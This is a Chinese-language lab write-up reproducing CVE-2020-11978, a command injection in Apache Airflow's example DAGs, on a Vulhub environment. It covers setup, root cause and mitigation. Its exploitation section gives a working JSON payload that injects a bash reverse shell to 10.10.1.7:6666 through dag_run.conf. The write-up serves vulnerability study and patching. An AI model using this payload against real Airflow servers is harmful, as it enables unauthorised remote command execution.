簡(jiǎn)介
- 漏洞軟件:Apache Airflow
- 影響版本:<= 1.10.10
環(huán)境
- Vulhub 漏洞測(cè)試靶場(chǎng)
復(fù)現(xiàn)步驟
- 進(jìn)入 /root/vulhub/airflow/CVE-2020-11978/ 目錄
- 運(yùn)行以下命令啟動(dòng)環(huán)境
# 初始化數(shù)據(jù)庫(kù)
docker compose run airflow-init
# 開(kāi)啟服務(wù)
docker compose up -d
- 在客戶(hù)端訪(fǎng)問(wèn) server-ip:8080
- 找到 example_trigger_target_dag 開(kāi)啟 (有向無(wú)環(huán)圖) 后變?yōu)?“On” 狀態(tài)
- 在這一列的右側(cè)點(diǎn)擊如下按鈕
- 輸入以下字符后點(diǎn)擊 Trigger 按鈕
- 點(diǎn)擊完成后 airflow_dag_success_touch_file 文件就會(huì)被創(chuàng)建在 /tmp 目錄下,使用以下命令在容器中進(jìn)行查詢(xún)和驗(yàn)證
原因
- 默認(rèn)情況下 Airflow Web UI 是未授權(quán)訪(fǎng)問(wèn)的,直接可以登錄,而登錄后,只能查看 DAG 的調(diào)度狀態(tài)等,無(wú)法進(jìn)行更多操作
- 但 Airflow Web UI 中提供了觸發(fā) DAG 運(yùn)行的功能,以便測(cè)試 DAG,同時(shí) Airflow 為了讓使用者可以快速熟悉其 DAG 開(kāi)發(fā)流程和功能,為了更好的示例這些 DAG 覆蓋了大多的執(zhí)行器
- 而其中兩個(gè) DAG 組合起來(lái)可觸發(fā)命令注入導(dǎo)致漏洞產(chǎn)生,如下所示,通過(guò)一個(gè)DAG(example_trigger_controller_dag)來(lái)動(dòng)態(tài)的調(diào)用另外一個(gè) DAG(example_trigger_target_dag)
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一個(gè) TriggerDagRunOperator,它將觸發(fā)第二個(gè) DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它將由第一個(gè) DAG 中的 TriggerDagRunOperator 觸發(fā)
- 即通過(guò) example_trigger_controller_dag 內(nèi)部定義的 conf={“message”: “Hello World”} 來(lái)觸發(fā) example_trigger_target_dag 中 bash_command=‘echo "Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘"’ 的運(yùn)行
- 根據(jù)上面信息可以看出,輸入 dag_run.conf[“message”] 由第一個(gè) DGA 傳遞過(guò)來(lái)的,看起來(lái)無(wú)法控制。而實(shí)際上熟悉下 Airflow 相關(guān)代碼即可發(fā)現(xiàn) Airflow 中 DAG Run 是代表 DAG 及時(shí)實(shí)例化的對(duì)象,而其中 conf 正是用于傳遞參數(shù)的方式, Airflow 提供了多渠道可以修改 conf,包括命令行例如:
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
利用
- kali 打開(kāi) nc
- 輸入以下消息并觸發(fā) DAG
#socket 連接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
- 連接成功
緩解
- 升級(jí)到 1.10.10 版本之后
- 刪除或者禁用 DAG,可自行刪除或在配置文件中禁用默認(rèn) DAGload_examples=False
參考
- Vulhub 漏洞環(huán)境詳情:https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3
- Airflow dag 中的命令注入(csdn):https://xz.aliyun.com/t/8037
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-728177.html
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-728177.html
到了這里,關(guān)于CVE-2020-11978 Apache Airflow 命令注入漏洞分析與利用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!